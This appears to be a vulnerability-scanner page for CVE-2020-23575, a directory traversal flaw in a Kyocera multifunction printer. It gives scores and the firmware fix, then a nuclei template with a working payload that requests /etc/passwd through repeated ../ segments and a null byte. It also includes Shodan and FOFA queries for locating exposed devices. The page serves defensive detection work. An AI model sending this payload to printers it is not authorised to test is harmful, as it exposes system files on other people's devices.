Kyocera Printer d-COPIA253MF - Directory Traversal

highseverity

7.5CVSS score

35%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Kyocera Printer d-COPIA253MF plus is susceptible to a directory traversal vulnerability which could allow an attacker to retrieve or view arbitrary files from the affected server.

Impact

An attacker can exploit this vulnerability to read arbitrary files from the server, potentially leading to unauthorized access or sensitive information disclosure.

Fix

Apply the latest firmware update provided by Kyocera to fix the directory traversal vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wlmeng/../../../../../../../../../../../etc/passwd%00index.htm
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2020-23575 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-23575

info:
  name: Kyocera Printer d-COPIA253MF - Directory Traversal
  author: 0x_Akoko
  severity: high
  description: Kyocera Printer d-COPIA253MF plus is susceptible to a directory traversal vulnerability which could allow an attacker to retrieve or view arbitrary files from the affected server.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files from the server, potentially leading to unauthorized access or sensitive information disclosure.
  remediation: |
    Apply the latest firmware update provided by Kyocera to fix the directory traversal vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/48561
    - https://nvd.nist.gov/vuln/detail/CVE-2020-23575
    - https://www.kyoceradocumentsolutions.com.tr/tr.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-23575
    cwe-id: CWE-22
    epss-score: 0.34999
    epss-percentile: 0.98448
    cpe: cpe:2.3:o:kyocera:d-copia253mf_plus_firmware:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: kyocera
    product: d-copia253mf_plus_firmware
    shodan-query: http.favicon.hash:-50306417
    fofa-query: icon_hash=-50306417
  tags: cve2020,cve,printer,iot,lfi,edb,kyocera,vkev,intrusive,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wlmeng/../../../../../../../../../../../etc/passwd%00index.htm"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "bin:.*:1:1"
        condition: or

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from